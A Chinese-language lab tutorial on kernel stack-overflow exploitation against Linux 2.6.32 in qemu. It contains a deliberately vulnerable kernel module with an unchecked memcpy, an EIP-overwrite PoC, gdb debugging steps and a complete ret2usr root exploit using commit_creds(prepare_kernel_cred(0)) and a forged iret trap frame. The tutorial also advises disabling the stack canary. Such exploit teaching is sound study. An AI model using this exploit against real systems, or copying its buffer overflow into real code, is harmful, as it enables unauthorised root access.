内核栈溢出和用户态栈溢出原理一样,拷贝、拼接字符串的时候未作边界检查,导致溢出数据覆盖栈上保存的返回地址,从而劫持程序控制流。在内核空间可以用来提权。
漏洞代码 stack_smashing.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/proc_fs.h> int bug2_write (struct file *file, const char *buf, unsigned long len) { char localbuf[8 ]; memcpy (localbuf, buf, len); return len; } static int __init stack_smashing_init (void ) { printk(KERN_ALERT "stack_smashing driver init!\n" ); create_proc_entry("bug2" , 0666 , 0 )->write_proc = bug2_write; return 0 ; } static void __exit stack_smashing_exit (void ) { printk(KERN_ALERT "stack_smashing driver exit!\n" ); } module_init(stack_smashing_init); module_exit(stack_smashing_exit);
Makefile
1 2 3 4 5 6 7 8 obj-m := stack_smashing.o KERNELDR := /home/fanrong/Computer/linux-kernel/linux-2.6.32/ PWD := $(shell pwd) modules: $(MAKE) -C $(KERNELDR) M=$(PWD) modules clean: $(MAKE) -C $(KERNELDR) M=$(PWD) clean
PoC poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <fcntl.h> int main () { char buf[24 ] = {0 }; memset (buf, 'A' , 24 ); *((void **)(buf + 20 )) = 0x42424242 ; int fd = open("/proc/bug2" , O_WRONLY); write(fd, buf, sizeof (buf)); return 0 ; }
payload很简单,就是buffer+eip的结构。按照上一篇文章中的编译方法,编译上面的两份代码,构建busybox文件系统,qemu启动内核,加载模块,运行poc: 如果poc执行造成Kernel panic,而没有将EIP覆盖为0x42424242,可能是编译Kernel时默认开启了canary,需要关闭canary选项:编辑.config文件,注释掉CONFIG_CC_STACKPROTECTOR这一行,然后重新编译内核,再次运行PoC,这时发现EIP已经被覆盖成0x42424242。
调试注意事项:模块在加载进内核后,并没有作为vmlinux的一部分传给gdb,因此必须通过某种方法把模块信息传给gdb。add-symbol-file
命令就是用来把模块的详细信息传给gdb的。由于模块也是一个ELF文件,需要知道模块的.text、.bss、.data节区地址。模块stack_smashing.ko的这三个信息分别保存在/sys/module/stack_smashing/sections/.text、/sys/module/stack_smashing/sections/.bss和/sys/module/stack_smashing/sections/.data,由于stack_smashing模块没有bss、data节区,所以只需指定text即可。
调试过程 在qemu中加载模块,设置好gdbserver后,找到模块的.text段的地址:
1 2 # grep 0 /sys/module/stack_smashing/sections/.text 0xd883a000
在主机的linux-2.6.32目录中用gdb连接:
1 2 3 4 5 6 7 8 9 10 11 $ gdb vmlinux gdb-peda$ target remote :1234 Warning: not running or target is remote default_idle () at arch/x86/kernel/process.c:311 311 current_thread_info()->status |= TS_POLLING; gdb-peda$ add-symbol-file ../exploit/stacksmashing/stack_smashing.ko 0xd883a000 add symbol table from file "../exploit/stacksmashing/stack_smashing.ko" at .text_addr = 0xd883a000 gdb-peda$ b bug2_write Breakpoint 1 at 0xd883a000: file /home/fanrong/Computer/linux-kernel/exploit/stacksmashing/stack_smashing.c, line 7. gdb-peda$ c
qemu中运行poc之后,主机gdb命中断点: 可以看到如果继续执行,程序就会返回到预期的值0x42424242。exploit 思路:还是利用commit_creds(prepare_kernel_cred(0)),然后返回到用户模式,执行起shell,也就是先把当前进程权限提到root,然后获取一个root的shell。 返回到用户模式要执行IRET
指令。关于IRET指令: 当使用IRET指令返回到相同保护级别的任务时,IRET会从栈将返回指令指针
、返回代码段选择器
以及EFLAGS映像
分别弹入EIP、CS以及EFLAGS寄存器,然后恢复执行中断的程序或过程。 当使用IRET指令返回到不同保护级别时,IRET不仅会从栈弹出以上内容,还会弹出栈指针
以及SS
。 栈上保存了trap frame,返回到用户模式的时候,恢复信息从以下结构中读取:
1 2 3 4 5 6 7 struct trap_frame { void *eip; uint32_t cs; uint32_t eflags; void *esp; uint32_t ss; } __attribute__((packed));
在qemu中获得两个函数的地址:
1 2 3 4 5 # grep prepare_kernel_cred /proc/kallsyms c1057120 T prepare_kernel_cred # grep commit_creds /proc/kallsyms c1056f80 T commit_creds c11a6b60 T security_commit_creds
exploit代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <stdint.h> struct trap_frame { void *eip; uint32_t cs; uint32_t eflags; void *esp; uint32_t ss; }__attribute__((packed)); struct trap_frame tf ;void get_shell (void ) { execl("/bin/sh" , "sh" , NULL ); } void init_tf_work (void ) { asm ("pushl %cs; popl tf+4;" "pushfl; popl tf+8;" "pushl %esp; popl tf+12;" "pushl %ss; popl tf+16;" ); tf.eip = &get_shell; tf.esp -= 1024 ; } #define KERNCALL __attribute__((regparm(3))) void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xc1057120 ;void *(*commit_creds)(void *) KERNCALL = (void *) 0xc1056f80 ;void payload (void ) { commit_creds(prepare_kernel_cred(0 )); asm ("mov $tf, %esp;" "iret;" ); } int main (void ) { char buf[24 ]; memset (buf, 'A' , 24 ); *((void **)(buf+20 )) = &payload; init_tf_work(); int fd = open("/proc/bug2" , O_WRONLY); write(fd, buf, sizeof (buf)); return 0 ; }
调试exploit需要先做一些准备工作: 1.确定模块代码节地址
1 2 grep 0 /sys/module/stack_smashing/sections/.text 0xd883a000
2.gdb设置 qemu上启动gdbserver,本地gdb连接
1 2 3 4 5 6 7 8 9 10 11 12 13 $ gdb vmlinux ... gdb-peda$ target remote :1234 Remote debugging using :1234 Warning: not running or target is remote default_idle () at arch/x86/kernel/process.c:311 311 current_thread_info()->status |= TS_POLLING; gdb-peda$ add-symbol-file ../exploit/stacksmashing/stack_smashing.ko 0xd883a000 add symbol table from file "../exploit/stacksmashing/stack_smashing.ko" at .text_addr = 0xd883a000 gdb-peda$ b bug2_write Breakpoint 3 at 0xd883a000: file /home/fanrong/Computer/linux-kernel/exploit/stacksmashing/stack_smashing.c, line 7. gdb-peda$ c
在qemu中运行exploit,对模块进行调试: 可以看到漏洞代码执行到ret后,继续执行会返回到我们构造的payload中: 这里可以看到先执行了commit_creds(prepare_kernel_cred(0))。执行到iret时,栈顶就是我们伪造的tf结构了。eip会指向get_shell函数,因此整个exploit顺利执行。 下面我们添加用户,然后测试exploit: 成功获取root!reference http://bobao.360.cn/learning/detail/3702.html